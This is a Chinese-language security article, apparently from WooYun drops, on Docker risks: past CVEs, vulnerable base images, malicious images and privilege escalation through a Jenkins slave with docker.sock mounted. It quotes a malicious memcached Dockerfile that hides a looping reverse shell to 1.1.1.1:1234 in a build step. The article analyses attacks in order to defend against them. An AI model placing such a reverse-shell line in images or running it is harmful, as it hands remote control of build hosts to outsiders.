Docker安全那些事
0x00 前言
在過去的一年,容器正在以驚人的速度發展,國內也有大量互聯網公司在生產環境中使用Docker,其中也不乏萬台規模的。前些日子烏雲曝出Swarm配置問題造成的安全隱患,也讓大家對Docker安全提起了關注,本文主要從“Docker自身安全”,“DockerImages安全”和“Docker使用安全隱患”來聊一聊Docker安全那些事。
0x01 Docker自身安全
歸總結了下CVE中關於Docker的漏洞報告,結果如下:
序號 |
CVE編號 |
漏洞版本 |
漏洞名稱 |
---|---|---|---|
1 |
CVE-2015-3630 |
1.6.0 |
Docker Libcontainer 安全繞過漏洞 |
2 |
CVE-2015-3627 |
1.6.1 |
Libcontainer和Docker Engine 許可權許可和存取控制漏洞 |
3 |
CVE-2015-3630 |
1.6.1 |
Docker Engine 安全繞過漏洞 |
4 |
CVE-2014-9358 |
1.3.3 |
Docker 目錄遍歷漏洞 |
5 |
CVE-2014-9357 |
1.3.2 |
Docker 許可權許可和存取控制漏洞 |
6 |
CVE-2014-6408 |
1.3.1 |
Docker 許可權許可和存取控制漏洞 |
7 |
CVE-2014-5277 |
1.3.0 |
Docker和docker-py 代碼注入漏洞 |
全部漏洞:https://docs.docker.com/engine/security/non-events/
可以發現Docker存在問題的版本分別在1.3和1.6,因為許可權控制等問題導致可以脫離容器拿到宿主機許可權。Docker在6月發佈了最新版本1.12版本,從1.6到如今的1.12都未爆出漏洞的情況(排除Oday可能)。基於Docker本身來講安全行可以保障的,無論是容器的隔離還是資源限制容器都有著很出色的表現,更多的安全隱患發生在使用者上,因為沒有正確的使用容器或者配置出錯導致了容器的危險運行。
0x02 DockerImages安全
容器的環境是基於容器鏡像,一旦容器鏡像存在風險那麼容器的安全性也要大打折扣了。我們在看容器鏡像又是根據Dockerfile一層層疊加的,如下圖:
底層Base鏡像引用“atiger77:1.0”,第二層鏡像在此之上添加run.sh腳本到容器目錄中,第三層鏡像是指在容器運行時執行run.sh腳本。Docker鏡像有自己的緩存機制,構建時會逐層往上進行檢查,底層鏡像如果沒有產生變動,則跳過構建使用鏡像Cache來節省構建時間,如果檢測到變動則開始進行構建動作。
這裡主要分兩種情況來討論容器鏡像的安全。
- SoftwareVulnerability(鏡像中使用的軟體存在高危漏洞)
- BadImages(存在後門的容器鏡像)
1.SoftwareVulnerability
還是根據剛才的鏡像分層來說,底層Base鏡像中如果使用的軟體存在高危漏洞,那麼所有使用Base鏡像所構建出的鏡像都會存在問題。我們來舉個栗子:
上圖中Base鏡像只安裝基礎依賴組件,其中套裝軟體abc有高危漏洞。根據Base鏡像打出需要的鏡像,左邊的鏡像是添加了代碼目錄到容器中,右邊則構建了一個編譯gcc的基礎鏡像。那麼當Base鏡像中的abc軟體存在高危漏洞,那麼所有相關依賴的鏡像就都存在了風險。當出現這種情況時,需要先修復Base鏡像中的問題軟體,完成後一次對依賴的鏡像重新進行構建動作。
根據上述情況,我分別從dockerhub和github中下載了部分鏡像進行真實測試,
測試漏洞:Bash漏洞,測試代碼:https://github.com/hannob/bashcheck/blob/master/bashcheck
測試版本:
分別使用官方鏡像進行測試,版本為centos5.11/6.6/7.2
測試過程:
Version:5.11
Version:6.6
Version:7.2
測試結果:
從測試結果可以看到官網下載的centos5.11和centos6.6都存在BASH漏洞(CVE-2014-6277)。查看了下CVE記錄時間為2014年9月9日,官方給出的centos6.6上次更新時間是2015年的5月4日然後並沒有修復該漏洞。
CVE報告時間:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277
Docker-Centos6.6官方dockerfile地址:https://github.com/CentOS/sig-cloud-instance-images/blob/8911843d9a6cc71aadd81e491f94618aded94f30/docker/Dockerfile
雖然Base鏡像已然存在這個漏洞,但是容器用來跑服務的,一般情況下是不需要進入容器進行操作的,這裡我演示的只是一個通用漏洞,當然還會存在其他服務的漏洞容器鏡像,這裡還是給出自己的建議,公司使用容器基礎鏡像需要自己構建,保證Base鏡像的乾淨和安全,現在也有很多小夥伴開始使用alpine的鏡像,一個centos也就幾十M搞定了。
其實到這邊容器安全都是在可控範圍內的,即使使用的服務或者應用有問題使得攻擊者上傳了webshell,操作的範圍也只是在容器內並不會對宿主機產生影響,那麼容器就真的安全了嘛?也不儘然,下面我會講如何通過容器拿到宿主機許可權。
2.BadImages
BadImages不是值“壞掉的鏡像”而是說那些“惡意鏡像”,翻了下烏雲所有帶“Docker”和“容器”關鍵字的漏洞,大部分提交的漏洞都是通過Swarm沒有配置正確,從而通過遠端API實現了未授權訪問,相關的解法可以參考“駭客,絕對是駭客”之前寫的文章(http://drops.wooyun.org/papers/15892)。在所有Docker的容器中發現一個比較有意思的,利用自己編寫的dockerfile執行反彈shell拿到了某公有雲一台機器,讓我們看下章總的dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 |
FROM ubuntu MAINTAINER Victor Coisne victor.coisne@dotcloud.com RUN sleep 1 RUN cat /etc/passwd RUN echo "deb http://mirrors.163.com/ubuntu/ precise main restricted universe multiverse" > /etc/apt/sources.list RUN apt-get update RUN echo "while ((1));do sleep 1;echo 111;/bin/sh -i >& /dev/tcp/1.1.1.1/1234 0>&1;done" >> /tmp/1.sh RUN bash /tmp/1.sh RUN sleep 20 RUN apt-get install -y memcached ENTRYPOINT [“memcached”] USER daemon EXPOSE 11211 |
第一眼看是啟動memcached的一個dockerfile,仔細一看發現其中別有洞天,在構建過程中存在了一個反彈shell,由於該廠商自有服務的api沒有和使用者環境隔離做很好的隔離導致反彈shell成功。
我們來分析一下這種情況帶來的危害,網上很多的說法都是不要使用非官方的鏡像,其實也不儘然官方鏡像也不是完全沒有問題這一點之前也分析過了,在我看來非官方的鏡像不是不能用,只是有些鏡像作者沒有寫任何的介紹或者使用方法,dockerfile也不上傳這類鏡像還是不建議使用了,有介紹的鏡像還是花點時間看下dockerfile的寫法到底安裝和執行了哪些內容。當然容器相比傳統的宿主機而言安全性是更好的,這也要歸功於容器的快速反覆運算,使用容器可以加快整個開發交付流程,即使容器被掛了webshell幾天後版本更新會上就會啟動一個新的容器,之前的容器也不復存在了。
0x03 Docker使用安全隱患
Docker本身的安全性是值得信賴的,更多的還是人為使用的錯誤導致了安全隱患,大家印象裡都對Swarm沒有正確配置導致的安全問題比較瞭解,使用Swarm的同學可以參考下阿裡容器服務的玩法,Swarm配置了tls,使用者連接自己Swarm的時候,需要下載證書,使用證書才能和swarm建立tls連接。這裡我會講另一個docker使用場景中會出現的安全隱患以及一些使用docker的注意事項。
Docker的出現加快了整個開發-測試-上線流程,其中我們會使用Jenkins來做持續化集成的工作,簡化流程大致如下(這裡只介紹大概流程讓大家有個印象,省去詳細的流程):
1.開發本地編寫代碼,開發環境通過 –> 2.測試環境進行UT等其他測試,測試環境通過 –> 3.發佈線上環境
當容器用在生產環境中,那麼作為Jenkins而言就起到了CICD的作用,通過Jenkins-Master接受任務分配給對應Slave執行,通過後並將代碼打包到鏡像中發送上線。
讓我們看一下大致的Compose檔長什麼樣:
compose運行在jenkins中設置完畢,主就可以把任務分配給從,並且由從進行測試構建編譯打包成容器等動作。為了讓jenkins-slave能在編譯完成後在宿主機中打鏡像而不是在容器內部,在compose中從掛卷將宿主機的/var/run/docker.sock掛到了容中,並且賦予了"privileged"許可權,這個寫法其實並沒有什麼問題,為了讓從能構建鏡像所以賦予root許可權,恰恰是這樣一旦jenkins被攻破那麼就會對宿主機的安全造成了威脅,這裡拿測試環境給大家演示一下。
環境:假設現在有一台Jenkins,攻擊者通過爆破破解,弱密碼嘗試甚至沒有密碼的情況進入了Jenkins管理頁面。
攻擊思路:由於jenkins-slave有著root許可權,我們需要拿到jenkins-slave許可權然後進行提權操作,從而獲取宿主機許可權。
攻擊過程:
- 確定節電中已經添加slave
- 添加任務並分配給slave
- 查看Slave宿主機中存在的容器列表
注:預設使用者是jenkins,執行時需要加上sudo否則提示許可權不足。這裡可以看到擁有了privileged許可權的slave容器獲得了宿主機的許可權。
- 在"Execute shell"中下載帶有ssh服務的DockerImage
- 對宿主機所在機器進行埠掃描,可以發現2016埠狀態為open
注釋:本人是測試環境就寫了內網IP。
- 登錄宿主機2016埠添加公開金鑰
- 登錄宿主機的22埠,獲取宿主機許可權
加固方法:
Docker搭配Jenkins使用為了加快交付流程必然會出現許可權問題,這裡提供一種解法儘量避免危害,首先jenkins不要放在公網上,登錄介面可以使用JIRA外掛程式,在JIRA中設置密碼複雜度。
其他想說的:
這裡還想提一下容器創建時一定要加上最大資源使用上限,容器在宿主機中就是個進程,一旦出現記憶體洩露或者Forkbomb類似的事件,宿主機的資源會消耗殆盡導致主機上的所有主機都不可用,建議在服務上線前先預估使用量。
Docker在操作者正確使用的情況下,安全性是可以得到保障的,就拿Jenkins的例子來說雖然開了privilege,要拿到宿主機的許可權還是會碰到許許多多的問題,最後提權用了4天,嘗試了37次構建,各種能想到的辦法都用了,很多辦法只能拿到容器層始終沒辦法提權到主機。
文章來源:http://drops.wooyun.org/tips/17416
圖片來源:https://pixabay.com/